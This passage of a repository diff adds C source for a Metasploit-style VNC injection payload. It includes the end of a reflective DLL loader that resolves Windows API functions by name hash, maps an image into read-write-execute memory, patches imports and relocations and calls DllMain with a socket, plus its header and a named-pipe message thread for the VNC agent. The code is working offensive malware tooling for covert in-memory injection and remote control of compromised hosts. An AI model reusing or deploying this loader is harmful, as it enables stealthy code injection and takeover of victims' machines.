uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 3;
// loop while we still have imports to find
while( usCounter > 0 )
{
// compute the hash values for this function name
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
// if we have found a function we want we get its virtual address
if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
{
// get the VA for the array of addresses
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// store this functions VA
if( dwHashValue == LOADLIBRARYA_HASH )
pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == GETPROCADDRESS_HASH )
pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == VIRTUALALLOC_HASH )
pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
// STEP 2: load our image into a new permanent location in memory...
// get the VA of the NT Header for the PE to be loaded
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
uiBaseAddress = (UINT_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
// we must now copy over the headers
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
uiValueB = uiLibraryAddress;
uiValueC = uiBaseAddress;
__movsb( (PBYTE)uiValueC, (PBYTE)uiValueB, uiValueA );
// STEP 3: load in all of our sections...
// uiValueA = the VA of the first section
uiValueA = ( (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
// itterate through all sections, loading them into memory.
while( ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections-- )
{
// uiValueB is the VA for this section
uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
// uiValueC if the VA for this sections data
uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
// copy the section over
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
__movsb( (PBYTE)uiValueB, (PBYTE)uiValueC, uiValueD );
// get the VA of the next section
uiValueA += sizeof( IMAGE_SECTION_HEADER );
}
// STEP 4: process our images import table...
// uiValueB = the address of the import directory
uiValueB = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
// we assume their is an import table to process
// uiValueC is the first entry in the import table
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
// itterate through all imports
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
{
// use LoadLibraryA to load the imported module into memory
uiLibraryAddress = (UINT_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
// uiValueD = VA of the OriginalFirstThunk
uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
// itterate through all imported functions, importing by ordinal if no name present
while( DEREF(uiValueA) )
{
// sanity check uiValueD as some compilers only import by FirstThunk
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
{
// get the VA of the modules NT Header
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of addresses
uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use the import ordinal (- export ordinal base) as an index into the array of addresses
uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
// patch in the address for this imported function
DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
}
else
{
// get the VA of this functions import by name struct
uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
// use GetProcAddress and patch in the address for this imported function
DEREF(uiValueA) = (UINT_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
}
// get the next imported function
uiValueA += sizeof( UINT_PTR );
if( uiValueD )
uiValueD += sizeof( UINT_PTR );
}
// get the next import
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
}
// STEP 5: process all of our images relocations...
// calculate the base address delta and perform relocations (even if we load at desired image base)
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
// uiValueB = the address of the relocation directory
uiValueB = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
// check if their are any relocations present
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
{
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
// and we itterate through all entries...
while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
{
// uiValueA = the VA for this relocation block
uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
// uiValueB = number of entries in this relocation block
uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
// uiValueD is now the first entry in the current relocation block
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
// we itterate through all the entries in the current block...
while( uiValueB-- )
{
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
// we dont use a switch statement to avoid the compiler building a jump table
// which would not be very position independent!
if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
*(UINT_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
// get the next entry in the current relocation block
uiValueD += sizeof( IMAGE_RELOC );
}
// get the next entry in the relocation directory
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
}
}
// STEP 6: process the images exception directory if it has one (PE32+ for x64)
/*
// uiValueB = the address of the relocation directory
uiValueB = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXCEPTION ];
// check if their are any exception etries present
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
{
// get the number of entries
uiValueA = ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size / sizeof( IMAGE_RUNTIME_FUNCTION_ENTRY );
// uiValueC is now the first entry (IMAGE_RUNTIME_FUNCTION_ENTRY)
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
// itterate through all entries
while( uiValueA-- )
{
//((IMAGE_RUNTIME_FUNCTION_ENTRY)uiValueC).BeginAddress
// get the next entry
uiValueC += sizeof( IMAGE_RUNTIME_FUNCTION_ENTRY );
}
}
*/
// STEP 7: call our images entry point
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
// call our respective entry point, fudging our hInstance value
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
#else
// if we are injecting an DLL via a stub we call DllMain with no parameter
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
#endif
// STEP 8: return our new entry point address so whatever called us can call DLL_METASPLOIT_ATTACH/DLL_METASPLOIT_DETACH
return uiValueA;
}
//===============================================================================================//
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
// you must implement this function...
extern DWORD DLLEXPORT Init( SOCKET socket );
BOOL MetasploitDllAttach( SOCKET socket )
{
Init( socket );
return TRUE;
}
BOOL MetasploitDllDetach( DWORD dwExitFunc )
{
switch( dwExitFunc )
{
case EXITFUNC_SEH:
SetUnhandledExceptionFilter( NULL );
break;
case EXITFUNC_THREAD:
ExitThread( 0 );
break;
case EXITFUNC_PROCESS:
ExitProcess( 0 );
break;
default:
break;
}
return TRUE;
}
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
BOOL bReturnValue = TRUE;
switch( dwReason )
{
case DLL_METASPLOIT_ATTACH:
bReturnValue = MetasploitDllAttach( (SOCKET)lpReserved );
break;
case DLL_METASPLOIT_DETACH:
bReturnValue = MetasploitDllDetach( (DWORD)lpReserved );
break;
case DLL_QUERY_HMODULE:
if( lpReserved != NULL )
*(HMODULE *)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
#endif
//===============================================================================================//

View File

@ -0,0 +1,197 @@
//===============================================================================================//
// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _VNCDLL_LOADER_REFLECTIVELOADER_H
#define _VNCDLL_LOADER_REFLECTIVELOADER_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <Winsock2.h>
#include <intrin.h>
#include "ReflectiveDLLInjection.h"
#define EXITFUNC_SEH 0xEA320EFE
#define EXITFUNC_THREAD 0x0A2A1DE0
#define EXITFUNC_PROCESS 0x56A2B5F0
typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR );
typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR );
typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD );
#define KERNEL32DLL_HASH 0x6A4ABC5B
#define LOADLIBRARYA_HASH 0xEC0E4E8E
#define GETPROCADDRESS_HASH 0x7C0DFCAA
#define VIRTUALALLOC_HASH 0x91AFCA54
#define HASH_KEY 13
//===============================================================================================//
#pragma intrinsic( _rotr )
__forceinline DWORD ror( DWORD d )
{
return _rotr( d, HASH_KEY );
}
__forceinline DWORD hash( char * c )
{
register DWORD h = 0;
do
{
h = ror( h );
h += *c;
} while( *++c );
return h;
}
//===============================================================================================//
typedef struct _UNICODE_STR
{
USHORT Length;
USHORT MaximumLength;
PWSTR pBuffer;
} UNICODE_STR, *PUNICODE_STR;
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
//__declspec( align(8) )
typedef struct _LDR_DATA_TABLE_ENTRY
{
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STR FullDllName;
UNICODE_STR BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
{
DWORD dwLength;
DWORD dwInitialized;
LPVOID lpSsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
{
struct _PEB_FREE_BLOCK * pNext;
DWORD dwSize;
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
// struct _PEB is defined in Winternl.h but it is incomplete
// WinDbg> dt -v ntdll!_PEB
typedef struct __PEB // 65 elements, 0x210 bytes
{
BYTE bInheritedAddressSpace;
BYTE bReadImageFileExecOptions;
BYTE bBeingDebugged;
BYTE bSpareBool;
LPVOID lpMutant;
LPVOID lpImageBaseAddress;
PPEB_LDR_DATA pLdr;
LPVOID lpProcessParameters;
LPVOID lpSubSystemData;
LPVOID lpProcessHeap;
PRTL_CRITICAL_SECTION pFastPebLock;
LPVOID lpFastPebLockRoutine;
LPVOID lpFastPebUnlockRoutine;
DWORD dwEnvironmentUpdateCount;
LPVOID lpKernelCallbackTable;
DWORD dwSystemReserved;
DWORD dwAtlThunkSListPtr32;
PPEB_FREE_BLOCK pFreeList;
DWORD dwTlsExpansionCounter;
LPVOID lpTlsBitmap;
DWORD dwTlsBitmapBits[2];
LPVOID lpReadOnlySharedMemoryBase;
LPVOID lpReadOnlySharedMemoryHeap;
LPVOID lpReadOnlyStaticServerData;
LPVOID lpAnsiCodePageData;
LPVOID lpOemCodePageData;
LPVOID lpUnicodeCaseTableData;
DWORD dwNumberOfProcessors;
DWORD dwNtGlobalFlag;
LARGE_INTEGER liCriticalSectionTimeout;
DWORD dwHeapSegmentReserve;
DWORD dwHeapSegmentCommit;
DWORD dwHeapDeCommitTotalFreeThreshold;
DWORD dwHeapDeCommitFreeBlockThreshold;
DWORD dwNumberOfHeaps;
DWORD dwMaximumNumberOfHeaps;
LPVOID lpProcessHeaps;
LPVOID lpGdiSharedHandleTable;
LPVOID lpProcessStarterHelper;
DWORD dwGdiDCAttributeList;
LPVOID lpLoaderLock;
DWORD dwOSMajorVersion;
DWORD dwOSMinorVersion;
WORD wOSBuildNumber;
WORD wOSCSDVersion;
DWORD dwOSPlatformId;
DWORD dwImageSubsystem;
DWORD dwImageSubsystemMajorVersion;
DWORD dwImageSubsystemMinorVersion;
DWORD dwImageProcessAffinityMask;
DWORD dwGdiHandleBuffer[34];
LPVOID lpPostProcessInitRoutine;
LPVOID lpTlsExpansionBitmap;
DWORD dwTlsExpansionBitmapBits[32];
DWORD dwSessionId;
ULARGE_INTEGER liAppCompatFlags;
ULARGE_INTEGER liAppCompatFlagsUser;
LPVOID lppShimData;
LPVOID lpAppCompatInfo;
UNICODE_STR usCSDVersion;
LPVOID lpActivationContextData;
LPVOID lpProcessAssemblyStorageMap;
LPVOID lpSystemDefaultActivationContextData;
LPVOID lpSystemAssemblyStorageMap;
DWORD dwMinimumStackCommit;
} _PEB, * _PPEB;
typedef struct
{
WORD offset:12;
WORD type:4;
} IMAGE_RELOC, *PIMAGE_RELOC;
//===============================================================================================//
#endif
//===============================================================================================//

273
external/source/vncdll/loader/context.c vendored Normal file
View File

@ -0,0 +1,273 @@
#include "loader.h"
#include "context.h"
AGENT_CTX AgentContext = {0};
/*
*
*/
VOID context_init( VOID )
{
memset( &AgentContext, 0, sizeof(AGENT_CTX) );
AgentContext.bDisableCourtesyShell = FALSE;
AgentContext.bInit = TRUE;
AgentContext.hCloseEvent = NULL;
AgentContext.dwEncoding = 0;
AgentContext.dwCompressLevel = 6;
AgentContext.dwQualityLevel = -1;
AgentContext.bUseCopyRect = FALSE;
AgentContext.bEncodingRichCursor = FALSE;
AgentContext.bEncodingPointerPos = FALSE;
AgentContext.bEncodingLastRect = FALSE;
AgentContext.bEncodingNewfbSize = FALSE;
AgentContext.bEncodingXCursor = FALSE;
/*AgentContext.dictionaries[0] = NULL;
AgentContext.dictionaries[1] = NULL;
AgentContext.dictionaries[2] = NULL;
AgentContext.dictionaries[3] = NULL;*/
AgentContext.dwPipeName = ( GetTickCount() ^ (DWORD)&AgentContext );
}
/*
* Try to read an exact ammount of data from a pipe and return
* when either the data has been read or a failure occurs.
*/
DWORD _readexact( HANDLE hPipe, DWORD dwLength, BYTE * pBuffer )
{
DWORD dwTotal = 0;
DWORD dwRead = 0;
do
{
while( dwTotal < dwLength )
{
if( !PeekNamedPipe( hPipe, NULL, 0, NULL, &dwRead, NULL ) )
break;
if( !dwRead )
{
Sleep( 50 );
continue;
}
if( ReadFile( hPipe, (LPVOID)((LPBYTE)pBuffer + dwTotal), (dwLength - dwTotal), &dwRead, NULL ) )
dwTotal += dwRead;
}
} while( 0 );
return dwTotal;
}
/*
* A thread to pick up any messages being posted back to the loader (such as an encoder change in the stream)
*/
DWORD WINAPI context_message_thread( LPVOID lpParameter )
{
DWORD dwResult = ERROR_SUCCESS;
HANDLE hServerPipe = NULL;
BYTE * pBuffer = NULL;
char cNamedPipe[MAX_PATH] = {0};
__try
{
do
{
_snprintf( cNamedPipe, MAX_PATH, "\\\\.\\pipe\\%08X", AgentContext.dwPipeName );
dprintf("[LOADER] loader_message_thread. cNamedPipe=%s", cNamedPipe );
hServerPipe = CreateNamedPipe( cNamedPipe, PIPE_ACCESS_INBOUND, PIPE_TYPE_BYTE|PIPE_READMODE_BYTE|PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 0, 0, 0, NULL );
if( !hServerPipe )
BREAK_ON_ERROR( "[LOADER] loader_message_thread. CreateNamedPipe failed" );
while( TRUE )
{
struct _hdr {
DWORD dwMessage;
DWORD dwLength;
} header = {0};
DWORD dwTotal = 0;
if( !ConnectNamedPipe( hServerPipe, NULL ) )
{
if( GetLastError() != ERROR_PIPE_CONNECTED )
continue;
}
dwTotal = _readexact( hServerPipe, 8, (BYTE *)&header );
if( dwTotal != sizeof( struct _hdr ) )
BREAK_WITH_ERROR( "[LOADER] loader_message_thread. _readexact header failed", ERROR_INVALID_HANDLE );
pBuffer = (BYTE *)malloc( header.dwLength );
if( !pBuffer )
BREAK_WITH_ERROR( "[LOADER] loader_message_thread. pBuffer malloc failed", ERROR_INVALID_HANDLE );
dwTotal = _readexact( hServerPipe, header.dwLength, pBuffer );
if( dwTotal != header.dwLength )
BREAK_WITH_ERROR( "[LOADER] loader_message_thread. _readexact pBuffer failed", ERROR_INVALID_HANDLE );
DisconnectNamedPipe( hServerPipe );
switch( header.dwMessage )
{
case MESSAGE_SETENCODING:
if( header.dwLength != sizeof(DWORD) )
{
dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODING, not enought data (got %d bytes)", header.dwLength );
break;
}
AgentContext.dwEncoding = *(DWORD *)pBuffer;
dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODING, new encoding is %d", AgentContext.dwEncoding );
break;
case MESSAGE_SETPIXELFORMAT:
if( header.dwLength != sizeof(PIXELFORMAT) )
{
dprintf("[LOADER] loader_message_thread. MESSAGE_SETPIXELFORMAT, not enought data (got %d bytes)", header.dwLength );
break;
}
memcpy( &AgentContext.PixelFormat, pBuffer, sizeof(PIXELFORMAT) );
dprintf("[LOADER] loader_message_thread. MESSAGE_SETPIXELFORMAT" );
break;
case MESSAGE_SETCOMPRESSLEVEL:
if( header.dwLength != sizeof(DWORD) )
{
dprintf("[LOADER] loader_message_thread. MESSAGE_SETCOMPRESSLEVEL, not enought data (got %d bytes)", header.dwLength );
break;
}
AgentContext.dwCompressLevel = *(DWORD *)pBuffer;
dprintf("[LOADER] loader_message_thread. MESSAGE_SETCOMPRESSLEVEL, new compress level is %d", AgentContext.dwCompressLevel );
break;
case MESSAGE_SETQUALITYLEVEL:
if( header.dwLength != sizeof(DWORD) )
{
dprintf("[LOADER] loader_message_thread. MESSAGE_SETQUALITYLEVEL, not enought data (got %d bytes)", header.dwLength );
break;
}
AgentContext.dwQualityLevel = *(DWORD *)pBuffer;
dprintf("[LOADER] loader_message_thread. MESSAGE_SETQUALITYLEVEL, new quality level is %d", AgentContext.dwQualityLevel );
break;
case MESSAGE_SETCOPYRECTUSE:
if( header.dwLength != sizeof(BOOL) )
{
dprintf("[LOADER] loader_message_thread. MESSAGE_SETCOPYRECTUSE, not enought data (got %d bytes)", header.dwLength );
break;
}
AgentContext.bUseCopyRect = *(BOOL *)pBuffer;
dprintf("[LOADER] loader_message_thread. MESSAGE_SETCOPYRECTUSE, new bUseCopyRect is %d", AgentContext.bUseCopyRect );
break;
case MESSAGE_SETENCODINGRICHCURSOR:
if( header.dwLength != sizeof(BOOL) )
{
dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGRICHCURSOR, not enought data (got %d bytes)", header.dwLength );
break;
}
AgentContext.bEncodingRichCursor = *(BOOL *)pBuffer;
dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGRICHCURSOR, new dwEncodingRichCursor is %d", AgentContext.bEncodingRichCursor );
break;
case MESSAGE_SETENCODINGPOINTERPOS:
if( header.dwLength != sizeof(BOOL) )
{
dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGPOINTERPOS, not enought data (got %d bytes)", header.dwLength );
break;
}
AgentContext.bEncodingPointerPos = *(BOOL *)pBuffer;
dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGPOINTERPOS, new dwEncodingPointerPos is %d", AgentContext.bEncodingPointerPos );
break;
case MESSAGE_SETENCODINGLASTRECT:
if( header.dwLength != sizeof(BOOL) )
{
dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGLASTRECT, not enought data (got %d bytes)", header.dwLength );
break;
}
AgentContext.bEncodingLastRect = *(BOOL *)pBuffer;
dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGLASTRECT, new dwEncodingLastRect is %d", AgentContext.bEncodingLastRect );
break;
case MESSAGE_SETENCODINGNEWFBSIZE:
if( header.dwLength != sizeof(BOOL) )
{
dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGNEWFBSIZE, not enought data (got %d bytes)", header.dwLength );
break;
}
AgentContext.bEncodingNewfbSize = *(BOOL *)pBuffer;
dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGNEWFBSIZE, new bEncodingNewfbSize is %d", AgentContext.bEncodingNewfbSize );
break;
case MESSAGE_SETENCODINGXCURSOR:
if( header.dwLength != sizeof(BOOL) )
{
dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGXCURSOR, not enought data (got %d bytes)", header.dwLength );
break;
}
AgentContext.bEncodingXCursor = *(BOOL *)pBuffer;
dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGXCURSOR, new bEncodingXCursor is %d", AgentContext.bEncodingXCursor );
break;
/*
case MESSAGE_SETZLIBDICTIONARY:
if( header.dwLength < sizeof(DICTMSG) )
{
dprintf("[LOADER] loader_message_thread. MESSAGE_SETZLIBDICTIONARY, not enought data (got %d bytes)", header.dwLength );
break;
}
else
{
DICTMSG * dmsg = (DICTMSG *)pBuffer;
if( dmsg->dwId > 4 )
{
dprintf("[LOADER] loader_message_thread. MESSAGE_SETZLIBDICTIONARY, invalid id (got %d)", dmsg->dwId );
break;
}
if( AgentContext.dictionaries[dmsg->dwId] )
free( AgentContext.dictionaries[dmsg->dwId] );
AgentContext.dictionaries[dmsg->dwId] = (DICTMSG *)malloc( sizeof(DICTMSG) + dmsg->dwDictLength );
if( !AgentContext.dictionaries[dmsg->dwId] )
{
dprintf("[LOADER] loader_message_thread. MESSAGE_SETZLIBDICTIONARY, malloc failed" );
break;
}
AgentContext.dictionaries[dmsg->dwId]->dwId = dmsg->dwId;
AgentContext.dictionaries[dmsg->dwId]->dwDictLength = dmsg->dwDictLength;
memcpy( &AgentContext.dictionaries[dmsg->dwId]->bDictBuffer, &dmsg->bDictBuffer, dmsg->dwDictLength );
dprintf("[LOADER] loader_message_thread. MESSAGE_SETZLIBDICTIONARY, id=%d, length=%d", dmsg->dwId, dmsg->dwDictLength );
}
break;
*/
default:
dprintf("[LOADER] loader_message_thread. Unknown message 0x%08X", header.dwMessage );
break;
}
if( pBuffer )
{
free( pBuffer );
pBuffer = NULL;
}
}
} while( 0 );
}
__except( EXCEPTION_EXECUTE_HANDLER )
{
dprintf( "[LOADER] loader_message_thread. EXCEPTION_EXECUTE_HANDLER\n\n" );
}
dprintf("[LOADER] loader_message_thread. thread finishing...");
if( hServerPipe )
{
DisconnectNamedPipe( hServerPipe );
CLOSE_HANDLE( hServerPipe );
}
if( pBuffer )
free( pBuffer );
return dwResult;
}

108
external/source/vncdll/loader/context.h vendored Normal file
View File

@ -0,0 +1,108 @@
// Copyright (C) 2006-2010, Rapid7 LLC
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * Neither the name of Rapid7 LLC nor the names of its contributors
// may be used to endorse or promote products derived from this software
// without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
// WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
// ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
// ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _VNCDLL_LOADER_CONTEXT_H
#define _VNCDLL_LOADER_CONTEXT_H
//===============================================================================================//
typedef struct _PIXELFORMAT
{
